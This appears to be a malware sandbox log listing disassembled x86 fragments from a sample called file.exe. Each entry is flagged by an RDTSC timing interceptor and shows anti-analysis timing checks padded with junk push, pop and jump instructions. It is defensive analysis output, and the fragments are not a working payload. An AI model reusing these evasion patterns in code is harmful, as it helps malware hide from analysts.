Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49D03C3 second address: 49D0434 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8A2D3CFEDFh 0x00000008 movzx ecx, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 pop edx 0x00000015 popad 0x00000016 push ecx 0x00000017 pop eax 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F8A2D3CFEE1h 0x0000001f mov ebp, esp 0x00000021 pushad 0x00000022 mov ax, F323h 0x00000026 call 00007F8A2D3CFEE8h 0x0000002b jmp 00007F8A2D3CFEE2h 0x00000030 pop ecx 0x00000031 popad 0x00000032 pop ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 pushad 0x00000037 popad 0x00000038 mov ebx, eax 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49E002C second address: 49E007D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e movzx ecx, dx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov al, 31h 0x00000019 pushfd 0x0000001a jmp 00007F8A2CE89CA3h 0x0000001f jmp 00007F8A2CE89CA3h 0x00000024 popfd 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10EEF second address: 4A10F2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 6D02ACFAh 0x00000008 mov cl, bh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f movzx ecx, dx 0x00000012 mov cx, di 0x00000015 popad 0x00000016 push eax 0x00000017 jmp 00007F8A2D3CFEDEh 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F8A2D3CFEE7h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10F2E second address: 4A10F71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8A2CE89C9Fh 0x00000009 and esi, 15A33B5Eh 0x0000000f jmp 00007F8A2CE89CA9h 0x00000014 popfd 0x00000015 mov eax, 02B95827h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10F71 second address: 4A10F75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10F75 second address: 4A10F7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10F7B second address: 4A10F81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10F81 second address: 4A10F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02E3 second address: 49F02FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8A2D3CFEDDh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F02FB second address: 49F030B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89C9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F030B second address: 49F030F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F030F second address: 49F032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8A2CE89C9Eh 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F032E second address: 49F0333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0333 second address: 49F0339 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0339 second address: 49F0359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 mov eax, 37513263h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F0359 second address: 49F037B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ecx, 35F08ADBh 0x0000000b popad 0x0000000c mov eax, dword ptr [ebp+08h] 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007F8A2CE89C9Fh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F037B second address: 49F03EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8A2D3CFEDFh 0x00000009 and ax, 75EEh 0x0000000e jmp 00007F8A2D3CFEE9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F8A2D3CFEE0h 0x0000001a sub ah, 00000068h 0x0000001d jmp 00007F8A2D3CFEDBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 and dword ptr [eax], 00000000h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F8A2D3CFEE5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49F012D second address: 49F01AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F8A2CE89C9Eh 0x0000000f push eax 0x00000010 jmp 00007F8A2CE89C9Bh 0x00000015 xchg eax, ebp 0x00000016 jmp 00007F8A2CE89CA6h 0x0000001b mov ebp, esp 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F8A2CE89C9Eh 0x00000024 jmp 00007F8A2CE89CA5h 0x00000029 popfd 0x0000002a push eax 0x0000002b push edx 0x0000002c call 00007F8A2CE89C9Eh 0x00000031 pop eax 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1073A second address: 4A10760 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b movzx ecx, di 0x0000000e push edx 0x0000000f mov al, 29h 0x00000011 pop edi 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10760 second address: 4A10778 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10778 second address: 4A1077E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1077E second address: 4A10782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10782 second address: 4A107A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8A2D3CFEE4h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107A1 second address: 4A107A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107A7 second address: 4A107AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107AB second address: 4A107AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107AF second address: 4A107D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [775165FCh] 0x0000000d pushad 0x0000000e movsx edx, si 0x00000011 popad 0x00000012 test eax, eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8A2D3CFEDFh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107D6 second address: 4A107F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107F3 second address: 4A10812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8A9FE53034h 0x0000000f pushad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10812 second address: 4A10858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8A2CE89CA8h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushfd 0x0000000d jmp 00007F8A2CE89CA0h 0x00000012 jmp 00007F8A2CE89CA5h 0x00000017 popfd 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10858 second address: 4A10890 instructions: 0x00000000 rdtsc 0x00000002 call 00007F8A2D3CFEE0h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov ecx, eax 0x0000000d jmp 00007F8A2D3CFEE1h 0x00000012 xor eax, dword ptr [ebp+08h] 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8A2D3CFEDAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10890 second address: 4A1095C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8A2CE89CA1h 0x00000009 add eax, 679C68F6h 0x0000000f jmp 00007F8A2CE89CA1h 0x00000014 popfd 0x00000015 mov bh, al 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a and ecx, 1Fh 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007F8A2CE89CA9h 0x00000024 and ah, 00000006h 0x00000027 jmp 00007F8A2CE89CA1h 0x0000002c popfd 0x0000002d mov ax, D0B7h 0x00000031 popad 0x00000032 ror eax, cl 0x00000034 pushad 0x00000035 mov eax, 54291FAFh 0x0000003a pushfd 0x0000003b jmp 00007F8A2CE89CA4h 0x00000040 xor ch, FFFFFFD8h 0x00000043 jmp 00007F8A2CE89C9Bh 0x00000048 popfd 0x00000049 popad 0x0000004a leave 0x0000004b jmp 00007F8A2CE89CA6h 0x00000050 retn 0004h 0x00000053 nop 0x00000054 mov esi, eax 0x00000056 lea eax, dword ptr [ebp-08h] 0x00000059 xor esi, dword ptr [00692014h] 0x0000005f push eax 0x00000060 push eax 0x00000061 push eax 0x00000062 lea eax, dword ptr [ebp-10h] 0x00000065 push eax 0x00000066 call 00007F8A3124A517h 0x0000006b push FFFFFFFEh 0x0000006d push eax 0x0000006e push edx 0x0000006f jmp 00007F8A2CE89CA7h 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1095C second address: 4A10962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10962 second address: 4A10966 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10966 second address: 4A10993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a movsx ebx, si 0x0000000d mov eax, 1B0CB9E5h 0x00000012 popad 0x00000013 ret 0x00000014 nop 0x00000015 push eax 0x00000016 call 00007F8A31790789h 0x0000001b mov edi, edi 0x0000001d jmp 00007F8A2D3CFEE0h 0x00000022 xchg eax, ebp 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10993 second address: 4A10999 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0008 second address: 49C005A instructions: 0x00000000 rdtsc 0x00000002 mov di, F9BCh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 mov esi, ebx 0x0000000b mov ecx, ebx 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8A2D3CFEE4h 0x00000017 and eax, 54386808h 0x0000001d jmp 00007F8A2D3CFEDBh 0x00000022 popfd 0x00000023 mov bx, cx 0x00000026 popad 0x00000027 mov dword ptr [esp], ebp 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F8A2D3CFEE1h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C005A second address: 49C00CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov ecx, 50627EF3h 0x00000011 pushfd 0x00000012 jmp 00007F8A2CE89CA8h 0x00000017 sub esi, 4F4187F8h 0x0000001d jmp 00007F8A2CE89C9Bh 0x00000022 popfd 0x00000023 popad 0x00000024 and esp, FFFFFFF8h 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a pushfd 0x0000002b jmp 00007F8A2CE89CA2h 0x00000030 xor al, 00000058h 0x00000033 jmp 00007F8A2CE89C9Bh 0x00000038 popfd 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C00CB second address: 49C0134 instructions: 0x00000000 rdtsc 0x00000002 movzx eax, dx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushfd 0x00000008 jmp 00007F8A2D3CFEE5h 0x0000000d xor eax, 7646DDF6h 0x00000013 jmp 00007F8A2D3CFEE1h 0x00000018 popfd 0x00000019 popad 0x0000001a xchg eax, ecx 0x0000001b jmp 00007F8A2D3CFEDEh 0x00000020 push eax 0x00000021 jmp 00007F8A2D3CFEDBh 0x00000026 xchg eax, ecx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F8A2D3CFEE5h 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0134 second address: 49C01AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b push ecx 0x0000000c push edx 0x0000000d pop esi 0x0000000e pop edi 0x0000000f pushfd 0x00000010 jmp 00007F8A2CE89CA4h 0x00000015 adc eax, 610CBB08h 0x0000001b jmp 00007F8A2CE89C9Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 jmp 00007F8A2CE89CA9h 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a movzx ecx, bx 0x0000002d popad 0x0000002e mov ebx, dword ptr [ebp+10h] 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F8A2CE89C9Dh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01AB second address: 49C01B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01B1 second address: 49C0210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89C9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F8A2CE89CA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 push edx 0x00000012 mov bx, si 0x00000015 pop ecx 0x00000016 pushfd 0x00000017 jmp 00007F8A2CE89CA9h 0x0000001c and al, 00000046h 0x0000001f jmp 00007F8A2CE89CA1h 0x00000024 popfd 0x00000025 popad 0x00000026 xchg eax, esi 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0210 second address: 49C0216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0216 second address: 49C02F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c pushad 0x0000000d mov ax, AEADh 0x00000011 pushad 0x00000012 mov si, CDCFh 0x00000016 pushfd 0x00000017 jmp 00007F8A2CE89CA4h 0x0000001c jmp 00007F8A2CE89CA5h 0x00000021 popfd 0x00000022 popad 0x00000023 popad 0x00000024 xchg eax, edi 0x00000025 jmp 00007F8A2CE89C9Eh 0x0000002a push eax 0x0000002b jmp 00007F8A2CE89C9Bh 0x00000030 xchg eax, edi 0x00000031 jmp 00007F8A2CE89CA6h 0x00000036 test esi, esi 0x00000038 jmp 00007F8A2CE89CA0h 0x0000003d je 00007F8A9F958001h 0x00000043 jmp 00007F8A2CE89CA0h 0x00000048 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000004f push eax 0x00000050 push edx 0x00000051 pushad 0x00000052 push ebx 0x00000053 pop eax 0x00000054 pushfd 0x00000055 jmp 00007F8A2CE89CA9h 0x0000005a jmp 00007F8A2CE89C9Bh 0x0000005f popfd 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C02F3 second address: 49C0368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F8A9FE9E1F1h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F8A2D3CFEE3h 0x00000016 xor eax, 01459F1Eh 0x0000001c jmp 00007F8A2D3CFEE9h 0x00000021 popfd 0x00000022 popad 0x00000023 mov edx, dword ptr [esi+44h] 0x00000026 jmp 00007F8A2D3CFEDEh 0x0000002b or edx, dword ptr [ebp+0Ch] 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 push ebx 0x00000032 pop esi 0x00000033 push ebx 0x00000034 pop ecx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0368 second address: 49C037D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89CA1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C037D second address: 49C039E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test edx, 61000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F8A2D3CFEDFh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C039E second address: 49C03BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2CE89CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07E3 second address: 49B07E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07E9 second address: 49B07ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07ED second address: 49B07F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07F1 second address: 49B0871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8A2CE89CA2h 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F8A2CE89CA0h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 call 00007F8A2CE89C9Eh 0x0000001c push esi 0x0000001d pop edx 0x0000001e pop ecx 0x0000001f push ebx 0x00000020 mov eax, 4236AD59h 0x00000025 pop eax 0x00000026 popad 0x00000027 and esp, FFFFFFF8h 0x0000002a jmp 00007F8A2CE89CA5h 0x0000002f xchg eax, ebx 0x00000030 jmp 00007F8A2CE89C9Eh 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F8A2CE89C9Eh 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0871 second address: 49B0876 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0876 second address: 49B08CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, ebx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F8A2CE89CA9h 0x0000000f xchg eax, esi 0x00000010 pushad 0x00000011 jmp 00007F8A2CE89C9Ch 0x00000016 push eax 0x00000017 mov ch, bh 0x00000019 pop esi 0x0000001a popad 0x0000001b push eax 0x0000001c jmp 00007F8A2CE89CA8h 0x00000021 xchg eax, esi 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08CC second address: 49B08D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08D2 second address: 49B08E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8A2CE89C9Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08E1 second address: 49B0924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f mov bx, ax 0x00000012 mov eax, 417DC53Fh 0x00000017 popad 0x00000018 sub ebx, ebx 0x0000001a jmp 00007F8A2D3CFEDBh 0x0000001f test esi, esi 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 mov di, 0CE6h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0924 second address: 49B0970 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F8A9F95F6F6h 0x00000010 pushad 0x00000011 mov bl, 4Bh 0x00000013 pushfd 0x00000014 jmp 00007F8A2CE89CA6h 0x00000019 adc si, B3B8h 0x0000001e jmp 00007F8A2CE89C9Bh 0x00000023 popfd 0x00000024 popad 0x00000025 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov esi, edi 0x00000031 movsx edi, ax 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0970 second address: 49B0976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0976 second address: 49B097A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B097A second address: 49B09CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a pushad 0x0000000b push edx 0x0000000c movzx esi, dx 0x0000000f pop edx 0x00000010 pushfd 0x00000011 jmp 00007F8A2D3CFEE2h 0x00000016 or ax, D878h 0x0000001b jmp 00007F8A2D3CFEDBh 0x00000020 popfd 0x00000021 popad 0x00000022 je 00007F8A9FEA58CAh 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8A2D3CFEE5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09CC second address: 49B0A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, dl 0x00000005 mov edx, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test byte ptr [77516968h], 00000002h 0x00000011 jmp 00007F8A2CE89CA2h 0x00000016 jne 00007F8A9F95F65Dh 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F8A2CE89CA7h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A0E second address: 49B0A37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8A2D3CFEE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, bx 0x00000012 mov ecx, ebx 0x00000014 popad 0x00000015 rdtsc
